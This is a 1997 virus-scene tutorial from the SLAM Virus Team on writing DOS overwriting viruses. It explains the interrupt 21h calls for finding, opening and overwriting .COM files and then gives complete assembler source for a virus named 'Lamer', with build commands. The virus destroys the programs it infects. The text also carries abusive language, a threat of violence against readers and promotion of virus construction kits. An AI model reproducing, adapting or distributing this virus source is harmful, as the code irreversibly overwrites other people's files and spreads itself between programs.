home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / VIRDCOLL.ZIP / OVER_TUT.TXT < prev    next >
Text File  |  1997-07-26  |  12KB  |  312 lines

  1.             " OverWritting Virii: The perfect choice for beginners "
  2.  
  3.                    by Virtual Daemon of SLAM Virus Team
  4.  
  5.  Hi there! The reason why I'm writting this little tutorial is because
  6.  there are some dumb heads out there who don't know how to use my OVCT...
  7.  FUCK YOU LAMERS! I don't know why I'm wasting my time with you...
  8.  There are so many guys that doesn't know what is a virus... God! We must
  9.  stop this... We give to the public so many goodies (like stealth or
  10.  polimorfic virii, or macro virii, or ...etc), and they don't know to make
  11.  an overwritting virus... That's pathetic! ;-( All they know, is that they
  12.  must take all the source we give it to them, modify it and put their
  13.  stupid fucking names in our virii! And of course, we're saying that they
  14.  will just start by stealing and that they'll learn from it, but not even
  15.  2% of all don't do that. The 98% are just waiting for us to give them more
  16.  sources, so they can modify them more and spread them around saying that
  17.  they made that virus... I'm sick of that! ;-(
  18.  
  19.  I can write a whole book about lamers stealing others virii (mine too),
  20.  but this was supposed to be a overwritting tutorial not a ... :)
  21.  
  22.  Anyway, now that OVCT was officially released in SLAM#2, I've gotta do
  23.  this for those poor guys... maybe this way they'll learn something!
  24.  
  25.  In this phile I'll try to explain what are the steps in creating a
  26.  overwritting virus, and at the end of the file I'll give some source code
  27.  
  28.  examples...
  29.  
  30.  Let's begin with the beginning!
  31.  
  32. Q: What is an overwritting virus?
  33.  
  34. R: An overwritting virus is a virus that when reproducing will infect the
  35.   victim by overwritting the first part of the program with itself.
  36.  
  37.    ex. PROGRAM + VIRUS = VIRUSAM
  38.  
  39. Q: What do I need to make an overwritting virus?
  40.  
  41. R: In the first place you need to have a copy of a programming language.
  42.  Overwritting virii can be done in many languages such as: Pascal, C, Asm,
  43.  Basic etc., BUT the best language from all this is Assembler. Of course
  44.  there are many Assembler-style languages out there, but the best of all
  45.  is Turbo Assembler from Borland, Inc. So, if you don't have a copy,
  46.  
  47.  GET ONE! Hey, when I said "get one", I ment "buy one" not "STEAL ONE"! ;)
  48.  
  49.  In the 2nd place you need to know how to code in one of the languages
  50.  listed above. Since this tutorial requires assembler skills, I suggest
  51.  you to learn assembler, because this is the best language for creating
  52.  virii. If you don't know how to code in assembler I SUGGEST YOU TO GET
  53.  OUT OF HERE, AND START LEARNING ASSEMBLER! I'm not gonna teach you how
  54.  to code in assembler...
  55.  
  56. Q: What is the structure of an overwritting virus?
  57.  
  58. R: Well, it's quite simple... First you need to find a file to infect it,
  59.  right? Ok. After the file was found you need to open it for reading and
  60.  writting. Has the file been opened? Good, now you can do all that stuff
  61.  like verifying if already infected or you can just simply write your virus
  62.  to the file. After virus was written, you need to close the file, and then
  63.  to return to the operating system (DOS).
  64.  
  65.  Well, that's all! Simple, ha'?
  66.  
  67.  Ok. Now let's take it again, this time different:
  68.  
  69.  1) Find a file to infect
  70.  2) Open the file
  71.  3) Write your virus to file
  72.  4) Close the file
  73.  5) Exit
  74.  
  75.     REMEMBER that this is the simplest structure of an overwritting virus,
  76.     so for more stuff check out the sources generated by OVCT!!!
  77.  
  78. Q: What are the DOS functions which I can use in creating a overwritting
  79.   virus?
  80.  
  81. R: Like you've seen before, there are 5 steps in creating a simple
  82.  overwritting virus. I'll take the steps again, this time with the related
  83.  function...
  84.  
  85.  1) Find a file to infect
  86.  
  87.  - to find a file, you must use the 4Eh function (Find 1st Matching File)
  88.    Input:
  89.          AH = 4Eh
  90.          DS = SEGMENT ADRESS OF ASCIIZ FILESPEC TO FIND
  91.          DX = OFFSET  ADRESS  ---------- " " ----------
  92.          CX = FILE ATTRIBUTES
  93.  
  94.    Returns:
  95.          AX = ERROR CODE IF CF IS SET TO CY
  96.          DTA FILLED WITH DATA IF NO ERROR (DTA = Disk Transfer Adress)
  97.  
  98.    Simple code:
  99.          mov ah,4eh             ;find 1st file
  100.          mov cx,0               ;cx=0 => normal attributes
  101.          mov dx,offset file     ;this will put in DS:DX the adress of file
  102.          int 21h
  103.  
  104.    file  db '*.com',0           ;this means that will search for every file
  105.                                 ;with the COM extension
  106.  
  107.   Like I said after this code will execute the DTA will be filled with
  108.   data, but first let's see what is the structure of this DTA:
  109.  
  110.    Disk Transfer Adress
  111.    *------------------*
  112.  
  113.    Offset │ Size │ Contents of DTA
  114.    ───────────────────────────────
  115.      0h   │  21  │ reserved
  116.     15h   │   1  │ file attributes
  117.     16h   │   2  │ file creation time
  118.     18h   │   2  │ file creation date
  119.     1ah   │   4  │ file size
  120.     1eh   │  13  │ 13 byte ASCIIZ of the file name
  121.  
  122.   Note: the size is given in bytes, so in assembler one byte value can be
  123.   represented with 'db',2 bytes value with 'dw',4 bytes value with 'dd'...
  124.  
  125.     ex. file_attributes  db ?
  126.         file_time        dw ?
  127.         file_size        dd ?
  128.  
  129.   You also must understand that the DTA lies in PSP (Program Segment
  130.   Prefix) - the first 100h bytes infront of COM files. It's adress is
  131.   at 80h. For complex virii, you must move the DTA at another location
  132.   so you wont have to fuck the PSP. Anyway since we're talking about
  133.   overwritting virii, that's not important.
  134.   All we have to do after we found a file is to take it's name from DTA,
  135.   because the following function (open) will need the file name. Like I
  136.   said the DTA is at 80h. The file name is at 1eh in DTA, so all you have
  137.   to do is to add 1eh to 80h, and 'voilà!'
  138.  
  139.     ex. file_name=80h+1eh=9eh
  140.  
  141.  2) OPEN THE FILE
  142.  
  143.  - to open a file, you can use the 3Dh function (Open a File Handle)
  144.    Input:
  145.          AH = 3Dh
  146.          DS = SEGMENT ADRESS OF ASCIIZ FILENAME (our file name)
  147.          DX = OFFSET  ADRESS  ------------ " " ----------------
  148.          AL = OPEN MODE
  149.  
  150.             -> 01h FOR READING
  151.             -> 02h FOR WRITTING
  152.             -> 03h FOR READING & WRITTING
  153.  
  154.    Returns:
  155.             AX = ERROR CODE IF CF IS SET TO CY
  156.                  ELSE FILE HANDLE
  157.  
  158.    Simple code:
  159.    ;- the following 2 istructions can be replaced with "mov ax,3d02h"
  160.  
  161.          mov ah,3dh             ;open the file
  162.          mov al,02h             ;for reading & writting
  163.          mov dx,9eh             ;get file name from DTA
  164.          int 21h
  165.  
  166.    Note: the file handle is now in AX, but if we have a look bellow at the
  167.    other functions, we see that all of them needs the file handle in BX,so
  168.    we have to change the BX register with AX.
  169.  
  170.       ex: xchg bx,ax            ;this can be done also with "mov bx,ax"
  171.  
  172.  3) WRITE THE VIRUS TO FILE
  173.  
  174.  - in order to write something to a file, you must use the 40h function
  175.   (Write to File via Handle)
  176.  
  177.    Input:
  178.          AH = 40h
  179.          BX = FILE HANDLE (this is why we changed the BX with the AX reg)
  180.          DX = OFFSET OF ADRESS OF THE BEGINNING OF VIRUS
  181.          CX = NUMBER OF BYTES TO WRITE
  182.  
  183.    Returns:
  184.          AX = ERROR CODE IF CF IS SET TO CY
  185.               ELSE NUMBER OF BYTES ACTUALLY WRITTEN <- USE FOR ERROR TESTS
  186.  
  187.    Simple code:
  188.          mov ah,40h                                   ;write the virus
  189.          mov dx,offset virus_start                    ;buffer to write
  190.          mov cx,offset virus_end - offset virus_start ;size of virus
  191.          int 21h
  192.  
  193.   4) CLOSE THE FILE
  194.  
  195.   - for closing the file, you must use the 3eh function (Close a File via
  196.     Handle)
  197.     Input:
  198.           AH = 3Eh
  199.           BX = FILE HANDLE
  200.  
  201.    Returns:
  202.           AX = ERROR CODE IF CF IS SET TO CY
  203.  
  204.    Simple code:
  205.           mov ah,3eh             ;close the file
  206.           int 21h
  207.  
  208.   5) Exit
  209.  
  210.   - the simplest part
  211.     Here you can use 2 methods:
  212.  
  213.      a) int 20h
  214.      b) mov ah,4ch
  215.         int 21h
  216.  
  217.    The both methods do the same thing: they terminate a program and return
  218.    to the operating sytem. Since the first one is smaller, I suggest using
  219.    that one.
  220.  
  221. Q: Now that I have all the informations how can I put them all together?
  222.  
  223. R: GOD! If you're still asking me this after everything I showed you then
  224.   you really suck! You're the biggest lamer! But... since I'm a good person
  225.   I'll show you this too... ;-)
  226.  
  227. ────────────────────────────────────────────» cut here
  228.  
  229. ; Virus Name: Lamer
  230. ; Virus Author: You
  231. ; To assemble use: tasm lamer.asm
  232. ;                  tlink /t lamer.obj
  233. ; (of course this expect that you'll cut & paste this code into a file
  234. ; called lamer.asm ;-)
  235.  
  236. code segment
  237.  
  238. assume cs:code,ds:code
  239.  
  240.        org 100h       ;for COM files
  241.  
  242. virus_start:
  243.  
  244.        mov ah,4eh               ;find first file
  245.        mov cx,cx                ;cx=0 => normal files
  246.        mov dx,offset filespec   ;ASCIIZ adress of what to search for
  247.        int 21h
  248.  
  249.        mov ax,3d02h             ;I explained this to ya earlier ;)
  250.        mov dx,9eh               ;get file name from DTA
  251.        int 21h
  252.  
  253.        xchg bx,ax               ;put file handle in bx
  254.  
  255.        mov ah,40h               ;write the virus to file
  256.        mov dx,offset virus_start       ;buffer containing data to write
  257.        mov cx,offset virus_end - offset virus_start       ;size of virus
  258.        int 21h
  259.  
  260.        mov ah,3eh               ;close the file
  261.        int 21h
  262.  
  263.        int 20h                  ;return to DOS
  264.  
  265. filespec   db '*.com',0
  266. virus_end:
  267. code ends
  268.  
  269. end virus_start
  270.  
  271. ────────────────────────────────────────────» cut here
  272.  
  273.  Well, that's it! You've just learned how to create your first virus (I
  274.  hope! ;-) If you don't understand this then GET LOST! There's no place
  275.  for you in this life...:)
  276.  
  277.  About OVCT (Overwritting Virus Construction Toolkit):
  278.  
  279.  I made that shit not because I don't know to do anything else... I made
  280.  it for you! Yes, for you "dear friend", so you can learn how to create
  281.  some virii. When you think you're smart enough to create & understand
  282.  non-overwritting virii or TSR virii, then you can use my VCT (Virus
  283.  Construction Toolkit) wich will generate non-overwritting runtime
  284.  or TSR virii. Of course the generated virii will be stealth, encrypted,
  285.  anti-debugger, polymorfic, etc. I think that the 1st version of VCT
  286.  will be released during this summer (the summer of 1997). For more info
  287.  about all this check the OVCT.DOC from OVCT Distribution kit, or read the
  288.  SLAM Magazine...
  289.  
  290.  Did you get all that? Anyway, I don't wanna see lamers "playing" with
  291.  my kit, and releasing virii or spreading them to others computers!!!
  292.  (I think this is one of the many reasons why I didn't included bombs in
  293.  OVCT :). If I'm gonna see a virus created with OVCT in the field, and if
  294.  I'll hear reports from people who got their comptures infected with virii
  295.  created with OVCT, YOU CAN SAY GOODBYE TO YOUR LIFE, LAMER, BECAUSE
  296.  I'M COMING TO GET YA'!!! Btw: I'm not only a virus writter, I'm a GOD DAMN
  297.  GOOD HACKER TOO!!! So, you'll hear from me... ;-)
  298.  
  299.  Game over... Uh,uh .. I mean, I think this is the end of this shit...
  300.  
  301. P.S. If any of this informations helped any one in any way (not negative)
  302.  creating a virus, please let me now by sending me a e-mail. And, if
  303.  you're really oughnest with me, you'll get a special prize like the
  304.  source to my latest virus :) :) :)! And believe me, you'll want it!
  305.  
  306. Greetz:
  307. ──────
  308.    - to all the SLAM mebers
  309.    - Dark Angel: you were the best!
  310.    - Cicatrix: I love your VDAT!!! :)
  311.    - and to everybody else who is related to virus scene
  312.